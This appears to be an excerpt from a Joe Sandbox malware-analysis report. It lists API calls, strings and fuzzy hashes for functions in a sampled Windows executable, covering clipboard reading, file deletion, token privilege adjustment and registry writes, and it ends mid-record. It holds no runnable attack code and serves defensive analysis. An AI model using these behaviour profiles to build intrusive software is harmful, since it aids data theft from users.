Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: File$PointerWrite
String ID:
API String ID: 539440098-0
Opcode ID: 1fb73c2231cd377ba9472bf4dafa2877951cd6c5f7ab3b0720cea0f7338763c2
Instruction ID: acba2e56a2767852dfb3959f809d60b3b9f58318f01d750a145eeb3915a833a4
Opcode Fuzzy Hash: 1fb73c2231cd377ba9472bf4dafa2877951cd6c5f7ab3b0720cea0f7338763c2
Instruction Fuzzy Hash: 66E04F36400208BBD720AF94DC05ADAB7BCEB04361F00455AFD4091111DBB29E14AB90

Function 00F53EF7 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

CopyFileExW.KERNEL32(?,?,00000000,00000000,00000000,00000008,?,?,00F53E7D,?,?,?), ref: 00F53F0D

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 23454085e1d2a7bb3ad66cab5c65972741c8b4fd50c9ca8c157505be02049cd9
Instruction ID: 35ad37f255996fae9da06bf3860f5d64744b1e85445bf470abdb1c72087a126e
Opcode Fuzzy Hash: 23454085e1d2a7bb3ad66cab5c65972741c8b4fd50c9ca8c157505be02049cd9
Instruction Fuzzy Hash: 3BD0A7315E020CBBEF50DFA0CC06FB8B7ACEB01706F1002A4B504D90E0DAB269189795

Function 00F042AE Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,?,00F406E6,00000000,00000000,00000000), ref: 00F042BF

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: e8bf1c771d4caedb7632a8906a0d7b3805daddcfc29d36e1e4ffec36ddea4f69
Instruction ID: d810a4108206d72b207052d182d80851476628ee799e175c3375a641cdbc951d
Opcode Fuzzy Hash: e8bf1c771d4caedb7632a8906a0d7b3805daddcfc29d36e1e4ffec36ddea4f69
Instruction Fuzzy Hash: 59D0C77464020CBFE710CB80DC46FA9777CE705710F500194FD0466290D6B27D549795

Function 00F54FEC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00F53BFE), ref: 00F54FED

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: b85523d086a90e09ad20e0fe4af520a0c7d516aecbe28c13e67900748798bf09
Instruction ID: 1e4a7fbad85acd242d35c9474a56ea41d6183e9b4cccb4b575734af0f37789ee
Opcode Fuzzy Hash: b85523d086a90e09ad20e0fe4af520a0c7d516aecbe28c13e67900748798bf09
Instruction Fuzzy Hash: A0B09234400A80769D681E3C194C4A9338159423BE7D81B81E978864E59639A88FB760

Function 00F1547B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00F15486

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction ID: affe16d52ca62683a70e950ed84eaa798cb443941b029d7f10983d6f3a61d3da
Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction Fuzzy Hash: 8AB0927644020CB7CE012A82EC13A993B299B84A68F408020FB0C1C162A677A6A0A689

Function 00F5D6BE Relevance: 1.4, APIs: 1, Instructions: 198COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000002,00000000), ref: 00F5D842

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: f3c5e359e0533a5df9a2e7505b3d0cbd4390031e701433ce72bb7d9e552e6cf3
Instruction ID: 928b65a3c67ef6a260591b01a2b1ea45966f0790ecb133b7aa96b6542d6f91d6
Opcode Fuzzy Hash: f3c5e359e0533a5df9a2e7505b3d0cbd4390031e701433ce72bb7d9e552e6cf3
Instruction Fuzzy Hash: 937192706053018FC724EF64D891A6EB7E0BF88355F04462CFA96972A2DB34ED49EB52

Function 00F5C270 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00F54005: FindFirstFileW.KERNEL32(?,?), ref: 00F5407C
Part of subcall function 00F54005: DeleteFileW.KERNEL32(?,?,?,?), ref: 00F540CC
Part of subcall function 00F54005: FindNextFileW.KERNELBASE(00000000,00000010), ref: 00F540DD
Part of subcall function 00F54005: FindClose.KERNEL32(00000000), ref: 00F540F4

GetLastError.KERNEL32 ref: 00F5C292

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: FileFind$CloseDeleteErrorFirstLastNext
String ID:
API String ID: 2191629493-0
Opcode ID: 0d68d892dbe2e93e8b3c3764b46744038ce16b2b71483840b18bc7ef11d5d08d
Instruction ID: 1ed9b6529c868118a94725ee78e891e80e0f49b747bfde34bfd0bf359d3b4382
Opcode Fuzzy Hash: 0d68d892dbe2e93e8b3c3764b46744038ce16b2b71483840b18bc7ef11d5d08d
Instruction Fuzzy Hash: 57F0A0323102148FCB10EF59D840F6AB7E5AF88320F05C019FA0A9B392CB74BC05DB94

Function 00F042CF Relevance: 1.3, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,00000000,00F32F8B), ref: 00F042EF

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: fd47a72ca1896635f3405faf46cdd73c5cfec1b359eb82a34d328910a293c8a8
Instruction ID: c5bb18dc3badd2b47bf965e0a5b9d1a34925f0c819709cccae1c7dcb53cbd2b4
Opcode Fuzzy Hash: fd47a72ca1896635f3405faf46cdd73c5cfec1b359eb82a34d328910a293c8a8
Instruction Fuzzy Hash: 2DE0BFB5500701CFC3314F1AD804451F7F4FFD13713214A2EE1E6925A0D7B06499EB50

Non-executed Functions

Function 00F7D164 Relevance: 74.1, APIs: 40, Strings: 2, Instructions: 637windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00EF29E2: GetWindowLongW.USER32(?,000000EB), ref: 00EF29F3

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 00F7D208
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00F7D249
GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 00F7D28E
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00F7D2B8
SendMessageW.USER32 ref: 00F7D2E1
_wcsncpy.LIBCMT ref: 00F7D359
GetKeyState.USER32(00000011), ref: 00F7D37A
GetKeyState.USER32(00000009), ref: 00F7D387
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00F7D39D
GetKeyState.USER32(00000010), ref: 00F7D3A7
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00F7D3D0
SendMessageW.USER32 ref: 00F7D3F7
SendMessageW.USER32(?,00001030,?,00F7B9BA), ref: 00F7D4FD
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 00F7D513
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00F7D526
SetCapture.USER32(?), ref: 00F7D52F
ClientToScreen.USER32(?,?), ref: 00F7D594
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 00F7D5A1
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00F7D5BB
ReleaseCapture.USER32 ref: 00F7D5C6
GetCursorPos.USER32(?), ref: 00F7D600
ScreenToClient.USER32(?,?), ref: 00F7D60D
SendMessageW.USER32(?,00001012,00000000,?), ref: 00F7D669
SendMessageW.USER32 ref: 00F7D697
SendMessageW.USER32(?,00001111,00000000,?), ref: 00F7D6D4
SendMessageW.USER32 ref: 00F7D703
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00F7D724
SendMessageW.USER32(?,0000110B,00000009,?), ref: 00F7D733
GetCursorPos.USER32(?), ref: 00F7D753
ScreenToClient.USER32(?,?), ref: 00F7D760
GetParent.USER32(?), ref: 00F7D780
SendMessageW.USER32(?,00001012,00000000,?), ref: 00F7D7E9
SendMessageW.USER32 ref: 00F7D81A
ClientToScreen.USER32(?,?), ref: 00F7D878
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00F7D8A8
SendMessageW.USER32(?,00001111,00000000,?), ref: 00F7D8D2
SendMessageW.USER32 ref: 00F7D8F5
ClientToScreen.USER32(?,?), ref: 00F7D947
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00F7D97B

Part of subcall function 00EF29AB: GetWindowLongW.USER32(?,000000EB), ref: 00EF29BC

GetWindowLongW.USER32(?,000000F0), ref: 00F7DA17

Strings

F, xrefs: 00F7D8FB
@GUI_DRAGID, xrefs: 00F7D562

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
String ID: @GUI_DRAGID$F
API String ID: 3977979337-4164748364
Opcode ID: 14f47706f492804ee96336561c2fd4f64e80c39b0352761dacbb8fb2e31ce196
Instruction ID: d6fdb238051cd096cad6814fac9cb13fe9142c318a186f2f198849cb5792d079
Opcode Fuzzy Hash: 14f47706f492804ee96336561c2fd4f64e80c39b0352761dacbb8fb2e31ce196
Instruction Fuzzy Hash: 97429E306053459FD724DF24C884BAABBF5FF88320F94461AF699872A1CBB1D854EF52

Function 00F48F2E Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 00F49399: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00F493E3
Part of subcall function 00F49399: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00F49410
Part of subcall function 00F49399: GetLastError.KERNEL32 ref: 00F4941D

_memset.LIBCMT ref: 00F48F71
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 00F48FC3
CloseHandle.KERNEL32(?), ref: 00F48FD4
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00F48FEB
GetProcessWindowStation.USER32 ref: 00F49004
SetProcessWindowStation.USER32(00000000), ref: 00F4900E
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00F49028

Part of subcall function 00F48DE9: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00F48F27), ref: 00F48DFE
Part of subcall function 00F48DE9: CloseHandle.KERNEL32(?,?,00F48F27), ref: 00F48E10

Strings

default, xrefs: 00F49023
, xrefs: 00F48F80
winsta0, xrefs: 00F48FE6

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
String ID: $default$winsta0
API String ID: 2063423040-1027155976
Opcode ID: afe9e0435f90ced5ddaa41537f5cf6705fa46ce913d0fffa941fcc09c55b219f
Instruction ID: 8df0a57800d8b9b6475ec57f9e6c9804eb6ba684ed18748506a9cf1661e6550a
Opcode Fuzzy Hash: afe9e0435f90ced5ddaa41537f5cf6705fa46ce913d0fffa941fcc09c55b219f
Instruction Fuzzy Hash: C88148B1E0420DBFEF119FA4CC49AEE7B79AF44364F044119FD10A6261DB758E19EB20

Function 00F64632 Relevance: 30.2, APIs: 20, Instructions: 167clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00F80980), ref: 00F6465C
IsClipboardFormatAvailable.USER32(0000000D), ref: 00F6466A
GetClipboardData.USER32(0000000D), ref: 00F64672
CloseClipboard.USER32 ref: 00F6467E
GlobalLock.KERNEL32(00000000), ref: 00F6469A
CloseClipboard.USER32 ref: 00F646A4
GlobalUnlock.KERNEL32(00000000), ref: 00F646B9
IsClipboardFormatAvailable.USER32(00000001), ref: 00F646C6
GetClipboardData.USER32(00000001), ref: 00F646CE
GlobalLock.KERNEL32(00000000), ref: 00F646DB
GlobalUnlock.KERNEL32(00000000), ref: 00F6470F
CloseClipboard.USER32 ref: 00F6481F

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
String ID:
API String ID: 3222323430-0
Opcode ID: 2a774dcc0fd6088b799f47c3d77f20bd7f4e45611db41a618601e192444439a8
Instruction ID: 02fba72946602c5b6b5f0e7f069ba994bdc3416b1455663170797dfb679b49f2
Opcode Fuzzy Hash: 2a774dcc0fd6088b799f47c3d77f20bd7f4e45611db41a618601e192444439a8
Instruction Fuzzy Hash: 1E51A372244205ABD340FF60DC89FBE77A8AF84B10F404529F546D31E2EF71E908AB62

Function 00F5CD9F Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 280timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00F5CDD0
FindClose.KERNEL32(00000000), ref: 00F5CE24
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00F5CE49
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00F5CE60
FileTimeToSystemTime.KERNEL32(?,?), ref: 00F5CE87
__swprintf.LIBCMT ref: 00F5CED3
__swprintf.LIBCMT ref: 00F5CF16

Part of subcall function 00F01A36: _memmove.LIBCMT ref: 00F01A77

__swprintf.LIBCMT ref: 00F5CF6A

Part of subcall function 00F138C8: __woutput_l.LIBCMT ref: 00F13921

__swprintf.LIBCMT ref: 00F5CFB8

Part of subcall function 00F138C8: __flsbuf.LIBCMT ref: 00F13943
Part of subcall function 00F138C8: __flsbuf.LIBCMT ref: 00F1395B

__swprintf.LIBCMT ref: 00F5D007
__swprintf.LIBCMT ref: 00F5D056
__swprintf.LIBCMT ref: 00F5D0A5

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 00F5CECD
%02d, xrefs: 00F5CF5E, 00F5CF68, 00F5CFB6, 00F5D005, 00F5D054, 00F5D0A3
%4d, xrefs: 00F5CF10

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l_memmove
String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
API String ID: 3953360268-2428617273
Opcode ID: e0a86bc9a5e939fa059b522a4d35749e05bec13e72c07eb8dc110670dd452592
Instruction ID: 5ed9acb3f17b75228c0d7fa6d61e9014a1e5619a3453a235050cf984cb512bfd
Opcode Fuzzy Hash: e0a86bc9a5e939fa059b522a4d35749e05bec13e72c07eb8dc110670dd452592
Instruction Fuzzy Hash: 10A13DB2504308ABD710EFA4CD86DBFB7ECBF94705F400919F68596191EB34EA08DB62

Function 00F5F5D8 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 119fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,76228FB0,?,00000000), ref: 00F5F5F9
_wcscmp.LIBCMT ref: 00F5F60E
_wcscmp.LIBCMT ref: 00F5F625
GetFileAttributesW.KERNEL32(?), ref: 00F5F637
SetFileAttributesW.KERNEL32(?,?), ref: 00F5F651
FindNextFileW.KERNEL32(00000000,?), ref: 00F5F669
FindClose.KERNEL32(00000000), ref: 00F5F674
FindFirstFileW.KERNEL32(*.*,?), ref: 00F5F690
_wcscmp.LIBCMT ref: 00F5F6B7
_wcscmp.LIBCMT ref: 00F5F6CE
SetCurrentDirectoryW.KERNEL32(?), ref: 00F5F6E0
SetCurrentDirectoryW.KERNEL32(00FAB578), ref: 00F5F6FE
FindNextFileW.KERNEL32(00000000,00000010), ref: 00F5F708
FindClose.KERNEL32(00000000), ref: 00F5F715
FindClose.KERNEL32(00000000), ref: 00F5F727

Strings

*.*, xrefs: 00F5F68B

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1803514871-438819550
Opcode ID: d6cf969c3f69cadc56dce41bd40e061a73c305867a9228a55b53f4c6f9f70fd6
Instruction ID: a8c8135fe93d137362472f3f1f2ade4f67155d2c89a644eaa0fdff4a8826f670
Opcode Fuzzy Hash: d6cf969c3f69cadc56dce41bd40e061a73c305867a9228a55b53f4c6f9f70fd6
Instruction Fuzzy Hash: B6318371A4121D6ADF109BA4AC4DAEE77AC9F09332F5401A5E904D21A0EF74DA8CEB64

Function 00F70EB7 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00F70FB3
RegCreateKeyExW.ADVAPI32(?,?,00000000,00F80980,00000000,?,00000000,?,?), ref: 00F71021
RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 00F71069
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 00F710F2
RegCloseKey.ADVAPI32(?), ref: 00F71412
RegCloseKey.ADVAPI32(00000000), ref: 00F7141F

Strings

REG_BINARY, xrefs: 00F713AD
REG_MULTI_SZ, xrefs: 00F711DA
REG_EXPAND_SZ, xrefs: 00F7108F
REG_QWORD, xrefs: 00F71360
REG_SZ, xrefs: 00F71130
REG_DWORD, xrefs: 00F712E3

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Close$ConnectCreateRegistryValue
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 536824911-966354055
Opcode ID: 2afbe5bad9135b87f88bd86cc920b84182a4ec5f475ac6a4abed708a76b54e1d
Instruction ID: e27cd85c12a51ae4da9e1bcb9d0845d9a8a14565489615bd80918ff6ff6b136e
Opcode Fuzzy Hash: 2afbe5bad9135b87f88bd86cc920b84182a4ec5f475ac6a4abed708a76b54e1d
Instruction Fuzzy Hash: DF027E716006019FCB14EF28C841E6AB7E5FF89720F04855DF95A9B3A2CB35EC45DB92

Function 00F5F735 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,76228FB0,?,00000000), ref: 00F5F756
_wcscmp.LIBCMT ref: 00F5F76B
_wcscmp.LIBCMT ref: 00F5F782

Part of subcall function 00F54875: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00F54890

FindNextFileW.KERNEL32(00000000,?), ref: 00F5F7B1
FindClose.KERNEL32(00000000), ref: 00F5F7BC
FindFirstFileW.KERNEL32(*.*,?), ref: 00F5F7D8
_wcscmp.LIBCMT ref: 00F5F7FF
_wcscmp.LIBCMT ref: 00F5F816
SetCurrentDirectoryW.KERNEL32(?), ref: 00F5F828
SetCurrentDirectoryW.KERNEL32(00FAB578), ref: 00F5F846
FindNextFileW.KERNEL32(00000000,00000010), ref: 00F5F850
FindClose.KERNEL32(00000000), ref: 00F5F85D
FindClose.KERNEL32(00000000), ref: 00F5F86F

Strings

*.*, xrefs: 00F5F7D3

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
